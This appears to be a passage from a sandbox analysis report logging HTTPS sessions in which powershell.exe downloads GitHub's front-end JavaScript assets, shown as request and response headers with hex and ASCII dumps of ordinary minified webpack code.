a.height&&(o.style.height=`${a.height}px`);break;case"code_rendering_service:container:get_size":h(s,{type:"render:cmd",body:{cmd:"code_rendering_service:cont
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 2d 74 68 65 6d 65 60 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 6c 65 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 5d 22 29 3b 69 66 28 74 29 72 65 74 75 72 6e 20 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 60 64 61 74 61 2d 24 7b 65 7d 2d 74 68 65 6d 65 60 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 3d 22 6c 69 67 68 74 22 29 7b 6c 65 74 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 5d 22 29 3b 69 66 28 65 29 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6f 6c 6f Data Ascii: -theme`,e)}function c(e){let t=document.querySelector("html[data-color-mode]");if(t)return t.getAttribute(`data-${e}-theme`)}function u(e="light"){let t=function(){let e=document.querySelector("html[data-color-mode]");if(e)return e.getAttribute("data-colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49759	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:30 UTC	450	OUT	GET /assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-aeae6fcdf371.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:30 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 11909 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 22 Aug 2024 20:39:07 GMT ETag: "0x8DCC2EA7844F9E3" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1753762 Date: Mon, 30 Sep 2024 13:50:30 GMT X-Served-By: cache-iad-kjyo7100115-IAD, cache-ewr-kewr1740053-EWR X-Cache: HIT, HIT X-Cache-Hits: 17, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: f31951f4ab533b174d627c255cba9b0a32a92fbc
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 63 6f 6d 6d 65 6e 74 69 6e 67 5f 65 64 69 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 68 74 2d 38 33 63 32 33 35 22 5d 2c 7b 34 39 37 38 36 3a 28 65 2c 74 2c 73 29 3d 3e 7b 73 2e 64 28 74 2c 7b 4f 3a 28 29 3d 3e 79 7d 29 3b 76 61 72 20 6e 3d 73 28 39 37 37 39 37 29 2c 69 3d 73 28 35 39 30 31 37 29 2c 6f 3d 73 28 36 35 30 32 34 29 2c 72 3d 73 28 32 37 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235"],{49786:(e,t,s)=>{s.d(t,{O:()=>y});var n=s(97797),i=s(59017),o=s(65024),r=s(27
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 7d 28 30 2c 6d 2e 6c 42 29 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 2d 68 65 61 64 65 72 2d 61 63 74 69 6f 6e 73 2d 64 65 66 65 72 72 65 64 2d 69 6e 63 6c 75 64 65 2d 66 72 61 67 6d 65 6e 74 22 2c 7b 73 75 62 73 63 72 69 62 65 3a 65 3d 3e 28 30 2c 6c 2e 52 74 29 28 65 2c 22 6c 6f 61 64 73 74 61 72 74 22 2c 28 29 3d 3e 7b 67 28 65 2e 63 6c 6f 73 65 73 74 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 22 29 29 7d 2c 7b 63 61 70 74 75 72 65 3a 21 31 2c 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 28 30 2c 6d 2e 6c 42 29 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 20 2e 63 6f 6e 74 61 69 6e 73 2d 74 61 73 6b 2d 6c 69 73 74 22 2c 7b 61 64 64 3a 65 3d 3e 7b 67 28 65 2e 63 6c 6f 73 65 73 74 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 22 29 29 7d 7d 29 2c 28 30 2c 6e 2e 6f 6e 29 28 22 63 6c Data Ascii: }(0,m.lB)(".js-comment-header-actions-deferred-include-fragment",{subscribe:e=>(0,l.Rt)(e,"loadstart",()=>{g(e.closest(".js-comment"))},{capture:!1,once:!0})}),(0,m.lB)(".js-comment .contains-task-list",{add:e=>{g(e.closest(".js-comment"))}}),(0,n.on)("cl
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 62 6f 64 79 2d 76 65 72 73 69 6f 6e 22 29 3b 69 26 26 73 2e 68 65 61 64 65 72 73 2e 73 65 74 28 22 58 2d 42 6f 64 79 2d 56 65 72 73 69 6f 6e 22 2c 69 29 7d 29 2c 28 30 2c 63 2e 4a 57 29 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 20 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 2d 75 70 64 61 74 65 22 2c 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 65 74 20 73 3b 6c 65 74 20 6e 3d 65 2e 63 6c 6f 73 65 73 74 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 22 29 2c 6f 3d 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 2d 75 70 64 61 74 65 2d 65 72 72 6f 72 22 29 2c 6c 3d 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 2d 62 6f 64 79 2d Data Ascii: .getAttribute("data-body-version");i&&s.headers.set("X-Body-Version",i)}),(0,c.JW)(".js-comment .js-comment-update",async function(e,t){let s;let n=e.closest(".js-comment"),o=n.querySelector(".js-comment-update-error"),l=n.querySelector(".js-comment-body-
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 2d 70 72 2e 69 73 2d 73 71 75 61 73 68 69 6e 67 22 29 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 6d 65 72 67 65 2d 70 75 6c 6c 2d 72 65 71 75 65 73 74 20 74 65 78 74 61 72 65 61 22 29 3b 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 54 65 78 74 41 72 65 61 45 6c 65 6d 65 6e 74 26 26 65 2e 76 61 6c 75 65 3d 3d 3d 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 26 26 28 65 2e 76 61 6c 75 65 3d 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 6d 2e 64 65 66 61 75 6c 74 5f 73 71 75 61 73 68 5f 63 6f 6d 6d 69 74 5f 6d 65 73 73 61 67 65 29 7d 7d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 6d 65 72 67 65 2d 62 6f 78 2d 62 75 74 74 6f 6e 2d 6d 65 72 67 65 22 29 3f Data Ascii: -pr.is-squashing")){let e=document.querySelector(".js-merge-pull-request textarea");e instanceof HTMLTextAreaElement&&e.value===e.defaultValue&&(e.value=e.defaultValue=m.default_squash_commit_message)}}document.querySelector(".js-merge-box-button-merge")?
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 69 73 2d 63 6f 6d 6d 65 6e 74 2d 73 74 61 6c 65 22 29 7d 65 6c 73 65 20 74 68 72 6f 77 20 73 7d 66 69 6e 61 6c 6c 79 7b 65 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 73 75 62 6d 69 74 3a 63 6f 6d 70 6c 65 74 65 22 2c 7b 62 75 62 62 6c 65 73 3a 21 30 2c 64 65 74 61 69 6c 3a 7b 65 72 72 6f 72 3a 73 7d 7d 29 29 7d 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 69 73 2d 63 6f 6d 6d 65 6e 74 2d 6c 6f 61 64 69 6e 67 22 29 7d 29 2c 28 30 2c 63 2e 4a 57 29 28 22 2e 6a 73 2d 74 69 6d 65 6c 69 6e 65 2d 63 6f 6d 6d 65 6e 74 2d 75 6e 6d 69 6e 69 6d 69 7a 65 2c 20 2e 6a 73 2d 74 69 6d 65 6c 69 6e 65 2d 63 6f 6d 6d 65 6e 74 2d 6d 69 6e 69 6d 69 7a 65 22 2c Data Ascii: .classList.add("is-comment-stale")}else throw s}finally{e.dispatchEvent(new CustomEvent("submit:complete",{bubbles:!0,detail:{error:s}}))}n.classList.remove("is-comment-loading")}),(0,c.JW)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 6f 73 65 73 74 28 22 2e 6a 73 2d 64 65 74 61 69 6c 73 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2c 69 3d 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 2d 66 6f 72 6d 2d 65 72 72 6f 72 22 29 3b 74 72 79 7b 73 3d 61 77 61 69 74 20 74 2e 6a 73 6f 6e 28 29 7d 63 61 74 63 68 28 65 29 7b 69 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 65 2e 72 65 73 70 6f 6e 73 65 3f 2e 6a 73 6f 6e 3f 2e 65 72 72 6f 72 73 3f 2e 5b 30 5d 7c 7c 22 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 2e 22 2c 69 2e 68 69 64 64 65 6e 3d 21 31 7d 69 66 28 21 73 29 72 65 74 75 72 6e 3b 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 6f 70 65 6e 22 29 2c 69 2e 68 69 64 64 65 6e 3d 21 30 Data Ascii: osest(".js-details-container"),i=n.querySelector(".js-comment-form-error");try{s=await t.json()}catch(e){i.textContent=e.response?.json?.errors?.[0]\|\|"Something went wrong. Please try again.",i.hidden=!1}if(!s)return;n.classList.remove("open"),i.hidden=!0
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 28 6e 26 26 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 6a 73 2d 75 70 64 61 74 65 2d 6d 69 6e 69 6d 69 7a 65 64 2d 63 6f 6e 74 65 6e 74 22 29 29 7b 6c 65 74 20 74 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 20 62 75 74 74 6f 6e 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 22 29 3b 74 26 26 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 64 69 73 61 62 6c 65 64 22 29 3b 6c 65 74 20 6e 3d 73 2e 63 6c 6f 73 65 73 74 28 22 2e 6a 73 2d 63 6f 6d 6d 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 29 3b 6e 26 26 61 77 61 69 74 20 28 30 2c 75 2e 6c 65 29 28 6e 29 7d 65 6c 73 65 7b 6e 26 26 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 64 2d 6e 6f 6e 65 22 29 3b 6c 65 74 20 74 3d Data Ascii: (n&&n.classList.contains("js-update-minimized-content")){let t=e.querySelector("input[type=submit], button[type=submit]");t&&t.classList.add("disabled");let n=s.closest(".js-comment-container");n&&await (0,u.le)(n)}else{n&&n.classList.add("d-none");let t=
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 76 61 72 20 6e 3d 73 28 32 31 32 33 32 29 2c 69 3d 73 28 32 31 34 30 33 29 2c 6f 3d 73 28 39 37 37 39 37 29 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 6c 65 74 20 74 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 72 65 71 75 69 72 65 64 2d 76 61 6c 75 65 22 29 2c 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 72 65 71 75 69 72 65 64 2d 76 61 6c 75 65 2d 70 72 65 66 69 78 22 29 3b 69 66 28 65 2e 76 61 6c 75 65 3d 3d 3d 74 29 65 2e 73 65 74 43 75 73 74 6f 6d 56 61 6c 69 64 69 74 79 28 22 22 29 3b 65 6c 73 65 7b 6c 65 74 20 6e 3d 74 3b 73 26 26 28 6e 3d 73 2b 6e 29 2c 65 2e 73 65 74 43 75 73 74 6f 6d 56 61 6c 69 64 69 74 79 28 6e 29 7d 7d 28 30 2c 6e 2e 65 43 29 28 22 5b 64 61 74 61 2d 72 65 71 75 69 72 65 64 2d 76 Data Ascii: var n=s(21232),i=s(21403),o=s(97797);function r(e){let t=e.getAttribute("data-required-value"),s=e.getAttribute("data-required-value-prefix");if(e.value===t)e.setCustomValidity("");else{let n=t;s&&(n=s+n),e.setCustomValidity(n)}}(0,n.eC)("[data-required-v
2024-09-30 13:50:30 UTC	885	IN	Data Raw: 61 6c 69 7a 65 28 65 29 7b 6c 65 74 20 74 3d 65 2e 66 6f 72 6d 3b 74 26 26 28 6c 2e 67 65 74 28 74 29 7c 7c 28 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2c 28 29 3d 3e 61 28 74 29 29 2c 6c 2e 73 65 74 28 74 2c 21 30 29 29 2c 65 2e 64 69 73 61 62 6c 65 64 3d 21 74 2e 63 68 65 63 6b 56 61 6c 69 64 69 74 79 28 29 29 7d 7d 29 2c 28 30 2c 69 2e 6c 42 29 28 22 69 6e 70 75 74 5b 64 61 74 61 2d 72 65 71 75 69 72 65 64 2d 63 68 61 6e 67 65 5d 2c 20 74 65 78 74 61 72 65 61 5b 64 61 74 61 2d 72 65 71 75 69 72 65 64 2d 63 68 61 6e 67 65 5d 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 22 72 61 64 69 6f 22 3d 3d 3d 65 2e 74 79 70 65 26 26 65 2e 66 6f 72 6d 3f 65 2e 66 6f 72 6d 2e 65 6c 65 6d 65 6e 74 73 2e 6e 61 6d Data Ascii: alize(e){let t=e.form;t&&(l.get(t)\|\|(t.addEventListener("change",()=>a(t)),l.set(t,!0)),e.disabled=!t.checkValidity())}}),(0,i.lB)("input[data-required-change], textarea[data-required-change]",function(e){let t="radio"===e.type&&e.form?e.form.elements.nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49760	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:32 UTC	359	OUT	GET /assets/behaviors-b32b736e8b72.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:32 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 238778 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 16:52:03 GMT ETag: "0x8DCDD8261848906" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 405138 Date: Mon, 30 Sep 2024 13:50:32 GMT X-Served-By: cache-iad-kcgs7200167-IAD, cache-ewr-kewr1740064-EWR X-Cache: HIT, HIT X-Cache-Hits: 22, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 4469c0e0b472a3794da2ad4ff1a395ce22e38c7a
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 62 65 68 61 76 69 6f 72 73 22 5d 2c 7b 35 38 31 34 39 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6c 65 74 20 72 2c 69 2c 61 2c 6f 2c 73 2c 6c 2c 63 2c 75 2c 64 2c 6d 2c 66 3b 76 61 72 20 68 2c 70 2c 67 3d 6e 28 35 37 37 36 35 29 2c 62 3d 6e 28 39 37 37 39 37 29 3b 28 30 2c 62 2e 6f 6e 29 28 22 64 65 70 72 65 63 61 74 65 64 41 6a 61 78 53 65 6e 64 22 2c 22 5b 64 61 74 61 2d 72 65 6d 6f 74 65 5d 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 21 3d 3d 65 2e 74 61 72 67 65 74 7c 7c 65 2e 64 65 66 61 75 6c 74 Data Ascii: (globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["behaviors"],{58149:(e,t,n)=>{"use strict";let r,i,a,o,s,l,c,u,d,m,f;var h,p,g=n(57765),b=n(97797);(0,b.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget!==e.target\|\|e.default
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 7b 69 66 28 74 2e 63 68 69 6c 64 45 6c 65 6d 65 6e 74 43 6f 75 6e 74 3e 31 29 72 65 74 75 72 6e 3b 28 6e 3d 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 2c 22 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 2e 6f 72 69 67 69 6e 61 6c 4c 69 6e 6b 22 29 2c 74 3d 6e 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 7d 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 22 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 2c 22 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 2e 6f 72 69 67 69 6e 61 6c 49 6d 61 67 65 22 29 3b 6c 65 74 20 72 3d 6e 3f 6e 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 3a 65 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 Data Ascii: {if(t.childElementCount>1)return;(n=t).setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");let r=n?n.cloneNode(!0):e.cloneNode(!0
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 65 6e 65 72 28 22 66 6f 63 75 73 6f 75 74 3a 64 65 6c 61 79 22 2c 28 29 3d 3e 7b 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 22 2c 5b 74 2c 6f 5d 2e 6a 6f 69 6e 28 22 20 22 29 29 7d 29 3b 6c 65 74 20 73 3d 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 70 2e 6e 6f 74 65 22 29 3b 73 26 26 28 73 2e 69 64 7c 7c 28 73 2e 69 64 3d 61 28 29 29 2c 54 2e 73 65 74 28 73 2c 73 2e 69 6e 6e 65 72 48 54 4d 4c 29 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 73 74 61 72 74 22 2c 28 29 3d 3e 7b 6b 28 6e 2c 72 29 2c 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 69 73 2d 6c 6f 61 64 69 6e 67 22 29 2c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 69 73 2d 61 75 74 6f 63 68 65 Data Ascii: ener("focusout:delay",()=>{n.setAttribute("aria-describedby",[t,o].join(" "))});let s=r.querySelector("p.note");s&&(s.id\|\|(s.id=a()),T.set(s,s.innerHTML)),e.addEventListener("loadstart",()=>{k(n,r),r.classList.add("is-loading"),n.classList.add("is-autoche
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 22 29 2c 6e 2e 76 61 6c 75 65 7c 7c 6b 28 6e 2c 72 29 7d 29 2c 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 6c 75 72 22 2c 28 29 3d 3e 7b 6c 65 74 20 65 3d 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 75 63 63 65 73 73 22 29 3b 65 26 26 28 65 2e 68 69 64 64 65 6e 3d 21 30 29 7d 29 2c 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 22 2c 28 29 3d 3e 7b 6c 65 74 20 65 3d 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 75 63 63 65 73 73 22 29 3b 65 26 26 28 65 2e 68 69 64 64 65 6e 3d 21 31 29 7d 29 2c 69 3f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 72 65 73 65 74 22 2c 28 29 3d 3e Data Ascii: removeAttribute("aria-describedby"),n.value\|\|k(n,r)}),n.addEventListener("blur",()=>{let e=r.querySelector(".success");e&&(e.hidden=!0)}),n.addEventListener("focus",()=>{let e=r.querySelector(".success");e&&(e.hidden=!1)}),i?.addEventListener("reset",()=>
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 2e 6f 6b 7c 7c 6c 2e 61 62 6f 72 74 65 64 29 72 65 74 75 72 6e 3b 6c 65 74 20 64 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 61 75 74 6f 73 65 61 72 63 68 2d 72 65 73 75 6c 74 73 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2c 6d 3d 64 3f 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 64 29 3a 6e 75 6c 6c 3b 69 66 28 6d 29 7b 6c 65 74 20 65 3d 6d 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3b 6d 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 6d 29 2e 68 65 69 67 68 74 2c 6d 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 22 2c 76 6f 69 64 20 30 21 3d 3d 72 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 72 29 3b 6c 65 74 20 74 3d 6d 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 Data Ascii: .ok\|\|l.aborted)return;let d=t.getAttribute("data-autosearch-results-container"),m=d?document.getElementById(d):null;if(m){let e=m.style.height;m.style.height=getComputedStyle(m).height,m.textContent="",void 0!==r&&clearTimeout(r);let t=m.hasAttribute("dat
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 72 69 62 65 3a 65 3d 3e 28 30 2c 24 2e 52 74 29 28 65 2c 22 69 6e 70 75 74 22 2c 44 29 7d 29 2c 28 30 2c 45 2e 6c 42 29 28 22 2e 6a 73 2d 64 65 74 65 63 74 2d 67 72 61 76 61 74 61 72 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 57 28 65 29 7d 29 2c 6e 28 38 36 39 35 34 29 3b 76 61 72 20 55 3d 6e 28 33 38 31 34 37 29 2c 7a 3d 6e 28 36 36 37 34 38 29 2c 56 3d 6e 28 36 33 31 32 30 29 3b 6c 65 74 20 58 3d 5b 22 2e 75 6e 73 74 79 6c 65 64 2d 61 64 64 69 74 69 6f 6e 61 6c 2d 73 65 61 74 73 2d 70 72 69 63 65 2d 6f 62 6a 22 2c 22 2e 75 6e 73 74 79 6c 65 64 2d 62 61 73 65 2d 70 72 69 63 65 2d 6f 62 6a 22 2c 22 2e 75 6e 73 74 79 6c 65 64 2d 66 69 6e 61 6c 2d 70 72 69 63 65 2d 6f 62 6a 22 5d 2c 47 3d 6e 75 6c 6c 3b 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 4b 28 65 Data Ascii: ribe:e=>(0,$.Rt)(e,"input",D)}),(0,E.lB)(".js-detect-gravatar",function(e){W(e)}),n(86954);var U=n(38147),z=n(66748),V=n(63120);let X=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"],G=null;async function K(e
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 74 6f 67 67 6c 65 28 22 64 2d 6e 6f 6e 65 22 2c 63 29 3b 6c 65 74 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 73 75 62 6d 69 74 2d 62 69 6c 6c 69 6e 67 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 28 62 2e 68 69 64 64 65 6e 3d 63 29 2c 21 66 2e 75 72 6c 2e 69 6e 63 6c 75 64 65 73 28 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2f 73 69 67 6e 75 70 5f 62 69 6c 6c 69 6e 67 22 29 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 62 69 6c 6c 69 6e 67 2d 73 65 63 74 69 6f 6e 22 29 3b 65 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 74 6f 67 67 6c 65 28 22 68 61 73 2d 72 65 6d 6f 76 65 64 2d 63 6f 6e 74 65 6e 74 Data Ascii: toggle("d-none",c);let b=document.querySelector(".js-submit-billing");if(b instanceof HTMLElement&&(b.hidden=c),!f.url.includes("organizations/signup_billing")){let e=document.querySelector(".js-billing-section");e&&e.classList.toggle("has-removed-content
2024-09-30 13:50:32 UTC	1378	IN	Data Raw: 61 75 6c 74 2d 63 75 72 72 65 6e 63 79 22 2c 45 5b 65 5d 2e 64 65 66 61 75 6c 74 5f 63 75 72 72 65 6e 63 79 29 29 2c 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 4a 28 22 6c 6f 63 61 6c 2d 63 75 72 72 65 6e 63 79 22 2c 45 5b 65 5d 2e 6c 6f 63 61 6c 5f 63 75 72 72 65 6e 63 79 29 29 29 3a 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 45 5b 65 5d 7d 28 30 2c 48 2e 67 35 29 28 68 69 73 74 6f 72 79 2e 73 74 61 74 65 2c 22 22 2c 66 2e 75 72 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 4a 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 29 3b 72 65 74 75 72 6e 20 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 